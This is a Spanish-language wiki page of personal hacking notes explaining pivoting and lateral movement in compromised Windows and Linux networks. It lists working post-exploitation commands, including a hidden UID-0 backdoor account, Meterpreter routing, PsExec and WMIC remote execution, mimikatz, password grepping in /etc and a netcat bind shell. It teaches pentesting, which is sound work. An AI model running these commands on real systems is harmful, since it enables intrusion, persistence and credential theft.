Notas de Luis

Up

Técnicas de Pivoting y Movimiento Lateral

El pivoting y el movimiento lateral son técnicas avanzadas de post-explotación utilizadas por pentesters y atacantes para expandir su acceso dentro de una red comprometida. El objetivo es moverse desde un sistema inicialmente comprometido a otros sistemas dentro de la misma red, elevando así el nivel de compromiso y el impacto del ataque.

Introducción al Pivoting y Movimiento Lateral

Conceptos Clave:

  • Pivoting: Uso de un sistema comprometido como punto de partida para atacar otros sistemas dentro de la red.
  • Movimiento Lateral: Técnica para moverse de un sistema a otro dentro de una red, a menudo utilizando credenciales comprometidas o vulnerabilidades adicionales.

Recursos:

Preparación para Pivoting

Establecimiento de una Sesión Persistente:

  • Mantener acceso continuo al sistema comprometido mediante la creación de usuarios persistentes o instalando backdoors.
useradd -ou 0 -g 0 <username>
passwd <username>

Configuración de Túneles:

  • Configurar túneles para redirigir el tráfico a través del sistema comprometido.
ssh -D 1080 user@compromised_host

Uso de Herramientas de Pivoting:

Metasploit: Usar el módulo meterpreter para configurar pivoting.

meterpreter > run autoroute -s <target_subnet>
meterpreter > run portfwd add -l <local_port> -p <remote_port> -r <remote_host>

Recursos:

Movimiento Lateral en Sistemas Windows

Enumeración de la Red y Recursos:

Utilizar herramientas para descubrir otros hosts y servicios en la red.

net view
nbtstat -A <ip_address>

Robo de Credenciales:

Obtener credenciales mediante técnicas como Pass-the-Hash, Pass-the-Ticket, o Dumping SAM.

mimikatz

Uso de Herramientas de Movimiento Lateral:

PsExec: Ejecutar comandos en sistemas remotos utilizando credenciales válidas.

PsExec.exe \\target_ip -u username -p password cmd
  • WMIC (Windows Management Instrumentation Command-line):
wmic /node:<target_ip> /user:<username> /password:<password> process call create "cmd.exe /c <command>"

Recursos:

Movimiento Lateral en Sistemas Linux

Enumeración de la Red y Recursos:

Utilizar herramientas de enumeración para descubrir otros hosts y servicios.

nmap -sP 192.168.1.0/24

Robo de Credenciales:

Capturar credenciales desde archivos de configuración y memoria.

cat /etc/passwd
grep -i password /etc/*

Uso de Herramientas de Movimiento Lateral:

SSH (Secure Shell): Usar credenciales comprometidas para moverse lateralmente.

ssh user@target_ip

Netcat (nc): Transferir y ejecutar scripts en sistemas remotos.

nc -lvp <port> -e /bin/bash

Recursos:

Herramientas Avanzadas para Pivoting y Movimiento Lateral

Metasploit Framework:

Usar módulos de Metasploit para automatizar pivoting y movimiento lateral.

use auxiliary/scanner/smb/smb_enumshares
set RHOSTS <target_subnet>
run

Cobalt Strike:

Plataforma avanzada para operaciones de pentesting y red teaming.

BloodHound:

Herramienta para mapear relaciones y privilegios en redes Active Directory.

neo4j console

Recursos:

Ejemplo de Escenario de Pivoting y Movimiento Lateral

Compromiso Inicial:

Comprometer un host utilizando un exploit o credenciales robadas.

Configuración de Pivoting:

Establecer un túnel SSH para redirigir el tráfico a través del host comprometido.

ssh -D 1080 user@compromised_host

Movimiento Lateral:

Utilizar herramientas como PsExec o SSH para moverse a otros hosts.

PsExec.exe \\target_ip -u username -p password cmd

Compromiso Adicional:

Repetir el proceso para comprometer más sistemas y expandir el acceso en la red.

Conclusión

El pivoting y el movimiento lateral son técnicas avanzadas que permiten a los atacantes expandir su acceso dentro de una red comprometida. Al dominar estas técnicas, los profesionales de seguridad pueden identificar y mitigar las rutas de ataque utilizadas por los atacantes para moverse dentro de la red. Es crucial realizar estas actividades de manera ética y con el permiso adecuado, utilizando el conocimiento adquirido para fortalecer la seguridad de los sistemas y proteger contra ataques maliciosos.

Recursos Adicionales

<catlist computing:hacking:pivoting: -titleHead:“Otras páginas relacionadas” -h2 -sortByTitle -sortAscending -addPageButtonEach -columns:2>

computing/hacking/hack_roadmap/hack_roadmap-3.2.c.txt · Última modificación: por 127.0.0.1